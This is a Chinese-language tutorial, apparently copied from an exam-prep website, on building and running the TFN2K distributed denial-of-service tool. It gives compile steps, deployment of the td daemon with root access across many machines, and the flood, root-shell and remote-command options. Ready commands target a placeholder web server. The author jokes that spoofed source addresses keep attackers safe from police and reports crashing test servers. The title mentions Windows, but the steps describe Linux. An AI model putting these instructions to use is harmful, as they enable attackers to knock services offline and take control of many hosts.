对Windows操作系统如何实现DDOS攻击 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/260/2021_2022__E5_AF_B9Windows_c103_260899.htm 1.安装TFN2K TFN2K为开放原代码的软件，所以需要我们进行编译，这个不用说了，编译应该都会的吧，但有几个地方是必需注意的，因为使用不同版本和厂商的LINUX需要不同的设置。 先修改src/ip.h 注释掉以下部分，否则编译出错。 /*struct in_addr { unsigned long int s_addr. }.*/ 然后make进行编译 编译时会提示你输入服务器端进行密码设置8-32位，(攻击的时候需要输入密码)编译后会出现两个新的执行文件td 和 tfn,其中td是守护进程，也是客户机的使用进程。而tfn是服务器控制进程，如果想攻击别人就必需先起动td这个进程，然后再运行服务器进程，否则攻 击无效,更改密码可以执行mkpass进行更改。最后在所有的客户机中安装并运行td(需要ROOT权限)，并且在服务器上建立一个文本文件，文件中记录 所有的客户机IP地址(用VI编辑一个就可行了)，格式为: 192.168.0.1 192.168.0.2 192.168.0.3 IP IP ..... 然后在主服务器上运行./tfn 2.攻击 ./tfn直接回车大家可以看到一些参数,英文好的朋友估计不用我来多讲了:) 格式./tfn 无用的参数我们不提,我们来说攻击用的 -f 这个参数后面跟刚才所写的文本文件名,就是真正实现DDOS攻击,而不是DOS -h DOS攻击,也就是单机,一对一的攻击 后面跟一个主机或IP地址 -p 后面指定一个端口,不用说了 -c 最关键的参数,一共有11个选相 0 - 停止攻击,发善心用的 1 - 反欺骗等级设定 ,因为TFN这个工具在攻击的时候所发出的数据包是带有源地址的,但是源地址是随机的,也就是说地址不是你自给的,所以不用担心警察抓,哈

哈 2 - 改编数据包的包尺寸：缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。 3 - 绑定root shell:启动一个会话服务，然后你连接一个指定端口就可以得到一个root shell。 4 - UDP洪水攻击：这个攻击是利用这样一个事实：每个udp包被送往一个关闭的端口，这样就会有一个ICMP不可到达的信息返回，增加了攻击的能力。 5 - SYN洪水攻击：这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务，添瞒TCP连接表，通过对不存在主机的TCP/RST响应增加攻击潜力,是标准的拒绝服务攻击. 6 - ICMP响应(ping)攻击：这个攻击发送虚假地址的ping请求，目标主机会回送相同大小的响应包。 7 - SMURF攻击：用目标主机的地址发送ping请求以广播扩大，这样目标主机将得到回复一个多倍的回复。 8 - MIX攻击：按照1:1:1的关系交替的发送udp,syn,icmp包，这样就可以对付路由器，其它包转发设备，NIDS,sniffers等,轮番轰炸:) 9 - TARGA3攻击 10 - 远程命令执行,这个参数是TFN的附加功能,其实TFN的攻击不仅仅是DOS,还可以远程的进行明令控制,如: ./tfn -f hostext -c 10 -i "mkdir /root/edison" 在所有的HOST上root家目录建立edison,-i后面跟"命令" 参数基本说完,下面攻击 ./tfn -f hostext -c 4 -i www.xxx.com 使用hostext文件中记录的主机对163服务器进行UDP攻击(所有的主机中必需已经起动td进程) ./tfn -f hostext -c 5 -i www.xxx.com -p 80 使用hostext文件中记录的主机对163服务器进行TCP拒绝服务攻击(80攻击WEB,其他不用说了) ./tfn -f hostext -c 6 -i www.xxx.com 使用hostext文件中记录的主机对163服务器进行ICMP攻击(PING攻击,缓冲区溢出马上死机) ./tfn -f hostext -c 8 -i www.xxx.com 使用hostext文件中记录

的主机对163服务器进行ICMPamp.UDP轮番攻击(如果对方是sniffer一定哭死) ./tfn -f hostext -c 0 让所由主机停止攻击 基本说完,最后说说我的测试结果 一对一攻击,攻击方式TCP 连接方式本地 本地CPU13% 被攻击的服务器CPU使用率70%以上,并时时波动 二对一攻击,攻击方式TCP 连接方式本地 本地单机CPU13% 被攻击的服务器CPU使用率100% 五对一攻击,攻击方式TCP 连接方式本地 本地单机CPU13% 被攻击的服务器死机.本人家里只有6台机器,但如果再多点,几十台机器,一般的个人服务器肯定要死掉了 一对一攻击,攻击方式ICMP 连接方式本地 本地CPU18% 被攻击的服务器CPU使用率96%以上,并时时波动二对一攻击,攻击方式ICMP 连接方式本地 本地单机CPU18% 被攻击的服务器以经无法上网,几乎无法使用,半小时内死机.